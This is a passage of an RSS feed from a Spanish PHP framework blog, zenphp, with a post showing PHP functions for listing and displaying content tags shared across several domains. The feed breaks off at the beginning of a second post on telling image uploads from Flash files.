<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>zenphp :: blog &#187; Algoritmos</title>
	<atom:link href="http://blog.zenphp.es/category/algoritmos/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zenphp.es</link>
	<description>Escribre tu aplicación como si fuera la última que escribieras</description>
	<lastBuildDate>Tue, 02 Feb 2010 09:03:52 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Tratamiento dinámico avanzado con etiquetas entre dominios</title>
		<link>http://blog.zenphp.es/2009/05/05/tratamiento-dinamico-avanzado-con-etiquetas-entre-dominios/</link>
		<comments>http://blog.zenphp.es/2009/05/05/tratamiento-dinamico-avanzado-con-etiquetas-entre-dominios/#comments</comments>
		<pubDate>Tue, 05 May 2009 11:53:38 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[etiqueta]]></category>
		<category><![CDATA[etiquetado]]></category>
		<category><![CDATA[etiquetas]]></category>
		<category><![CDATA[modelo de datos]]></category>
		<category><![CDATA[modelos]]></category>
		<category><![CDATA[tags]]></category>
		<category><![CDATA[visualizador]]></category>
		<category><![CDATA[visualizadores]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=201</guid>
		<description><![CDATA[

Para compartir el uso de etiquetas entre varios dominios lo que se suele hacer es compartir una base de datos en un servidor y utilizar varias aplicaciones que comparten modelos de datos y modifican las vistas (visualizadores) para mostrar los resultados en una sinergía creada por los usuarios que rellenan artículos, contenido, noticias, productos, etc. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zenphp.es/wp-content/uploads/2009/05/tipos_etiquetas.jpg"><img src="http://blog.zenphp.es/wp-content/uploads/2009/05/tipos_etiquetas-300x265.jpg" alt="" title="tipos_etiquetas" width="300" height="265" class="aligncenter size-medium wp-image-202" /></a><br />
<br />
Para compartir el uso de etiquetas entre varios dominios lo que se suele hacer es compartir una base de datos en un servidor y utilizar varias aplicaciones que comparten modelos de datos y modifican las vistas (visualizadores) para mostrar los resultados en una sinergía creada por los usuarios que rellenan artículos, contenido, noticias, productos, etc. y establecen las etiquetas asociadas a toda esta información&#8230;</p>
<p>La función que va en la clase tags del modelo de datos de zenphp es:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"> <span style="color: #009933; font-style: italic;">/**
  * Devuelve un array con todos los tags de todas las tablas que coinciden con $nombre
  **@TODO: Es inestable, no carga bien los modelos de datos que no estuvieran ya cargados...
  *
  * @param str $nombre
  * @param str $modelos
  * @return array
  */</span>
 <span style="color: #000000; font-weight: bold;">function</span> obtener_lista<span style="color: #009900;">&#40;</span><span style="color: #000088;">$nombre</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$modelos</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$nombre</span>    <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;-&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$nombre</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$modelos</span>   <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$modelos</span><span style="color: #009900;">&#41;</span>?<span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;noticias&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;contenidos&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;,&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$modelos</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$modelos</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$etiquetas</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$modelos</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$modelo</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
   <span style="color: #000088;">$unset</span> <span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #000088;">$modelo</span> instanceof zen_modelo_datos<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>zen___importar_modelos<span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">,</span><span style="color: #000088;">$modelo</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   		<span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
   	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
   		<span style="color: #000088;">$unset</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
   	<span style="color: #009900;">&#125;</span>
   <span style="color: #009900;">&#125;</span>
   <span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;,&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #000088;">$modelo</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">campos</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #000088;">$modelo</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">poner_campos_al_modelo</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #000088;">$r</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #000088;">$modelo</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">obtener</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;,tags&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #000088;">$n</span> <span style="color: #339933;">=</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$r</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$n</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
   	<span style="color: #000088;">$tags</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; ,&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;, &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;,&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$r</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tags'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$tags</span> <span style="color: #339933;">=</span> <span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;,&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$tags</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tags</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$tag</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #000088;">$tag</span> <span style="color: #339933;">=</span> <span style="color: #990000;">html_entity_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$nombre</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">//No buscamos un tag en concreto sino todos:</span>
      <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #339933;">,</span><span style="color: #000088;">$etiquetas</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//Insertar en la lista</span>
       <span style="color: #000088;">$etiquetas</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$tag</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>zen_codifica_nombre_para_url<span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span>
    	zen_codifica_nombre_para_url<span style="color: #009900;">&#40;</span><span style="color: #000088;">$nombre</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
     <span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$r</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$etiquetas</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     	<span style="color: #990000;">array_push</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$etiquetas</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
     	 <span style="color: #0000ff;">&quot;modelo&quot;</span><span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$modelo</span><span style="color: #339933;">,</span>
     	 <span style="color: #0000ff;">&quot;id&quot;</span>   <span style="color: #339933;">=&gt;</span>  <span style="color: #000088;">$r</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span>
        <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span> <span style="color: #666666; font-style: italic;">//comprobacion de si se estaba repetida</span>
     <span style="color: #009900;">&#125;</span> <span style="color: #666666; font-style: italic;">//comprobacion de si es la buscada</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #666666; font-style: italic;">//bucle foreach de tags</span>
   <span style="color: #009900;">&#125;</span> <span style="color: #666666; font-style: italic;">//bucle for que recorre todos los tags de este campo</span>
   <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$unset</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #000088;">$modelo</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span> <span style="color: #666666; font-style: italic;">//bucle for que recorre todos los modelos especificados</span>
  <span style="color: #b1b100;">return</span> <span style="color: #000088;">$etiquetas</span><span style="color: #339933;">;</span>
 <span style="color: #009900;">&#125;</span></pre></div></div>

<p>Para utilizar una función dinámica que un visualizador (html_tags extends zen_html_modelo_datos) interprete usando diferentes plantillas para cada dominio podemos usar la siguiente :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"> <span style="color: #009933; font-style: italic;">/**
  * Mostrara una pagina con un listado de tags, que enlazan a los distintos dominios,
  * se especifica el $dominio para ver cual de los contenidos han de rellenarse
  *
  * @param str $tag
  * @param str $dominio
  */</span>
 <span style="color: #000000; font-weight: bold;">function</span> ver<span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #339933;">,</span><span style="color: #000088;">$dominio</span><span style="color: #339933;">=</span>ZF_SITIO_WEB<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  <span style="color: #666666; font-style: italic;">//Intentemos encontrar el tag</span>
  <span style="color: #000088;">$tags</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">obtener_lista</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$p</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> zen_plantilla<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #666666; font-style: italic;">// if (!count($tags)) die(sprintf(&quot;no hay ningun elemento con el tag %s&quot;,$tag));//header(&quot;Location: &quot;.ZF_SITIO_WEB);</span>
  <span style="color: #000088;">$r</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tag'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;-&quot;</span><span style="color: #339933;">,</span>zen_sanar<span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$r</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'enlaces'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tags</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$tag</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
   <span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'modelo'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
   	<span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'noticias'</span><span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">//Noticias a la web del grupo (corporativa)</span>
   	 <span style="color: #000088;">$tit</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">noticias</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">obtener_campo</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;titular&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   	 <span style="color: #000088;">$r</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'enlaces'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'Noticia: &lt;a href=&quot;'</span><span style="color: #339933;">.</span>ZF_SITIO_WEB<span style="color: #339933;">.</span><span style="color: #0000ff;">'noticias/ver/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span>zen_codifica_nombre_para_url<span style="color: #009900;">&#40;</span><span style="color: #000088;">$tit</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>
   	 	<span style="color: #0000ff;">'/&quot;&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$tit</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/a&gt;&lt;br&gt;'</span><span style="color: #339933;">;</span>
   	 <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
   	<span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'contenidos'</span><span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">//Presentacion.. (informacion corporativa)</span>
   	 <span style="color: #000088;">$tit</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">contenidos</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">obtener_campo</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;nombre&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   	 <span style="color: #000088;">$zona</span><span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">contenidos</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">obtener_campo</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;zona&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   	 <span style="color: #000088;">$r</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'enlaces'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'Presentaci&amp;oacute;n: &lt;a href=&quot;'</span><span style="color: #339933;">.</span>ZF_SITIO_WEB<span style="color: #339933;">.</span><span style="color: #0000ff;">'presentacion/'</span><span style="color: #339933;">.</span>
   	 	<span style="color: #000088;">$tag</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span>zen_codifica_nombre_para_url<span style="color: #009900;">&#40;</span><span style="color: #000088;">$tit</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>
   	 	<span style="color: #0000ff;">'/&quot;&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$tit</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/a&gt;&lt;br&gt;'</span><span style="color: #339933;">;</span>
   	 <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">contenido</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'contenido'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$p</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">contenido_reemplaza</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;etiquetas/indice.html&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$r</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dominio</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
   <span style="color: #b1b100;">case</span> ZF_SITIO_WEB<span style="color: #339933;">:</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">contenido</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'columna_izda1'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">listar</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">mostrar_web</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Etiqueta &quot;</span><span style="color: #339933;">.</span>
  	 zen_sanar<span style="color: #009900;">&#40;</span><span style="color: #000088;">$r</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tag'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;sel_inicio&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;cab_contacto.html&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;rut_etiqueta.html&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
  	<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span>
    <span style="color: #666666; font-style: italic;">//$titulo,$menu,$ruta=&quot;&quot;,$col_izda=&quot;indice&quot;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">padre</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">mostrar_web</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Etiqueta &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$tag</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;sel_indice&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;rut_etiqueta.html&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;indice&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
  	<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span> 
 <span style="color: #009900;">&#125;</span> <span style="color: #666666; font-style: italic;">//fin-ver</span></pre></div></div>

<span class="akst_link"><a href="http://blog.zenphp.es/?p=201&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_201"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2009/05/05/tratamiento-dinamico-avanzado-con-etiquetas-entre-dominios/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto: filtrar datos de forma avanzada pero pensando como un principiante</title>
		<link>http://blog.zenphp.es/2008/09/30/howto-filtrar-datos-de-forma-avanzada-pero-pensando-como-un-principiante/</link>
		<comments>http://blog.zenphp.es/2008/09/30/howto-filtrar-datos-de-forma-avanzada-pero-pensando-como-un-principiante/#comments</comments>
		<pubDate>Tue, 30 Sep 2008 11:14:34 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[Sistema Gestor Contenidos]]></category>
		<category><![CDATA[datos]]></category>
		<category><![CDATA[filtrado]]></category>
		<category><![CDATA[filtros]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[imagen]]></category>
		<category><![CDATA[joker]]></category>
		<category><![CDATA[modelo de datos]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[swf]]></category>
		<category><![CDATA[trucos]]></category>
		<category><![CDATA[tupla]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=173</guid>
		<description><![CDATA[
En principio, parece que el título del post es algo de lo más paradójico, pero nada más lejos de la realidad, en zenphp siempre hay un Joker, y éstos son los trucos que enseño en este blog, triquiñuelas rápidas y complejas pero fáciles de entender y modificar en poco tiempo.

Al escribir clases que reutilizan el [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="alignnone size-full wp-image-174" title="joker" src="http://blog.zenphp.es/wp-content/uploads/2008/09/joker.jpg" alt="" width="380" height="380" /></p>
<p>En principio, parece que el título del post es algo de lo más paradójico, pero nada más lejos de la realidad, en zenphp siempre hay un Joker, y <strong>éstos son los trucos</strong> que enseño en este blog, triquiñuelas rápidas y complejas pero fáciles de entender y modificar en <em>poco tiempo</em>.</p>
<p><span id="more-173"></span></p>
<p>Al escribir clases que reutilizan el código de un modelo de datos de zenphp, uno se da cuenta de la facilidad con la que se pueden realizar ciertos aspectos técnicos como los filtrados de datos avanzados, de una forma realmente sencilla: en una línea de PHP.</p>
<p>Veamos como podemos diferenciar cuando un usuario manda un fichero mediante un modelo de datos (y su interfaz: el visualizador HTML) flash o una imagen y después representarlo con la plantilla que sea adecuada.</p>
<p>El campo imagen tiene el nombre del fichero .jpg,.png,.gif, o bien .swf. por lo tanto sólo tenemos que escribir una función donde queramos, por ejemplo, en mi caso me gusta ponerlas en el visualizador ya que el filtrado devuelto es una cadena HTML que escribe el &#8216;&lt;img src=&#8221;&#8230;&#8221;&gt;&#8217; o bien el HTML del código flash en javascript o el objeto que sea&#8230;</p>
<p>Veamos la función:</p>
<table class="hl-table" border="0" width="100%">
<tbody>
<tr>
<td class="hl-gutter" align="right" valign="top"> </td>
<td class="hl-main" valign="top">
<pre><span class="hl-reserved">function </span><span class="hl-identifier">detectar_imagen_o_flash</span><span class="hl-brackets">(</span><span class="hl-var">$campo</span><span class="hl-brackets">){
